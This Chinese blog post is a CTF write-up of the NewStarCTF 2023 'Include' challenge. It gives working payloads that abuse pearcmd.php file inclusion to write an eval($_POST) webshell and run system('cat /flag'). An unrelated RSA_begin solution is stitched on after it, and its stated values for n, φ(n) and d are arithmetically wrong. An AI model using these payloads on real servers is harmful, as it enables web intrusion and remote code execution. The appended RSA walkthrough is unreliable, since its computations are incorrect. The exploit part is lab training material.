[NewStarCTF 2023]Include--详细解析

信息搜集

进入靶机,界面回显代码:

 <?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?> 

要我们GET传参file,且对参数的值进行了过滤。
最终执行的是include()函数。

提示我们Something in phpinfo.php!,那我们就先尝试包含这个文件看看。
在这里插入图片描述在这里插入图片描述

register_argc_argv 是开着的,可以对pearcmd.php文件进行包含利用。

文件包含

对于文件包含漏洞,我们一般先考虑使用php伪协议进行 文件的读取恶意代码的写入
但是这里过滤了filter、input、data,切断了我们使用伪协议包含的方法。

伪协议不能使用,我们又会想到利用日志文件。
通过包含日志文件的方式,将我们的恶意代码写入日志文件中并执行。
无论是Apache还是nginx,日志文件都叫做access.log,但是这里过滤了log,所有我们也不能使用包含日志文件的方法。

那么我们又会想到使用session条件竞争,这里过滤了session,也不考虑。

学习新知识点:

对pearcmd.php文件的包含利用
该文件的位置在 /usr/share/php/pearcmd.php/usr/local/lib/php/pearcmd

payload如下:

?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval($_POST[1]);?>+/var/www/html/shell.php 
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/shell.php 

config-create是pearcmd.php的参数,用于创建默认配置文件。
这里是先包含了pearcmd.php文件,
然后将一句话木马<?=eval($_POST[1])?>写入了/var/www/html/shell.php 位置。
/usr/local/etc/php
这里我用了第二个payload,成功包含并写入shell文件,回显如下:
在这里插入图片描述然后我们访问shell.php文件,就能进行RCE了
在这里插入图片描述但是发现我们传入的一句话木马并没有被成功解析,而是被输出在了界面上。

这一步卡了好久,最后发现是要bp抓包上传
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/shell.php
不然直接在搜索框传参,php代码中的部分符号会被url编码之后再写入shell.php文件中,就不会被当成php代码。
在这里插入图片描述

现在我们再访问shell.php文件就能正常进行RCE了。
先查目录,发现flag目录:

1=system("ls /");

在这里插入图片描述
得到flag:

1=system("cat /flag");

在这里插入图片描述

总结:

学到了文件包含的新姿势:对pearcmd.php文件的包含利用
现在的水平还不足以搞懂原理,只是能使用了,等水平高一点再尝试搞明白吧。

在搜索框传参PHP代码时,php代码的符号会被url编码,服务器收到的是编码,不会把它看作代码解析。
所以以后需要通过传参上传php代码时,使用抓包程序进行上传,防止被编码。

### 关于 NewStarCTF 公开赛 RSA_begin 的解题思路 #### 背景介绍 RSA 是一种基于大整数分解困难性的公钥加密算法。其核心在于通过两个大素数 \( p \) 和 \( q \),计算模数 \( n = p \times q \),并利用欧拉函数 \( \phi(n) = (p-1)(q-1) \) 来生成私钥 \( d \)[^1]。 在题目中已知参数如下: - \( p = 473398607161 \) - \( q = 4511491 \) - \( e = 17 \) 目标是求解私钥 \( d \),满足条件 \( e \cdot d \equiv 1 \ (\text{mod} \ \phi(n)) \)。 --- #### 计算过程详解 ##### 1. 计算模数 \( n \) 根据定义,\( n = p \times q \)。因此, \[ n = 473398607161 \times 4511491 = 2136002117282111. \] ##### 2. 计算欧拉函数 \( \phi(n) \) 由公式 \( \phi(n) = (p-1)(q-1) \),可得: \[ \phi(n) = (473398607161 - 1) \times (4511491 - 1) = 473398607160 \times 4511490 = 2135550968666920. \] ##### 3. 扩展欧几里得算法求逆元 \( d \) 为了找到 \( d \),需满足 \( e \cdot d \equiv 1 \ (\text{mod} \ \phi(n)) \)。这可以通过扩展欧几里得算法实现: 给定 \( a = e = 17 \), \( b = \phi(n) = 2135550968666920 \),执行扩展欧几里得算法得到 \( x \)(即 \( d \)),使得 \( ax + by = \gcd(a, b) \) 成立。 以下是 Python 实现代码: ```python def egcd(a, b): if a == 0: return (b, 0, 1) gcd, x1, y1 = egcd(b % a, a) x = y1 - (b // a) * x1 y = x1 return gcd, x, y def mod_inverse(e, phi_n): _, x, _ = egcd(e, phi_n) return x % phi_n # 已知参数 e = 17 phi_n = 2135550968666920 # 求解 d d = mod_inverse(e, phi_n) print(d) ``` 运行上述代码可以得出结果: \[ d = 125714762862169. \] --- #### 提交 Flag 最终将 \( d \) 值作为 flag 提交即可。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值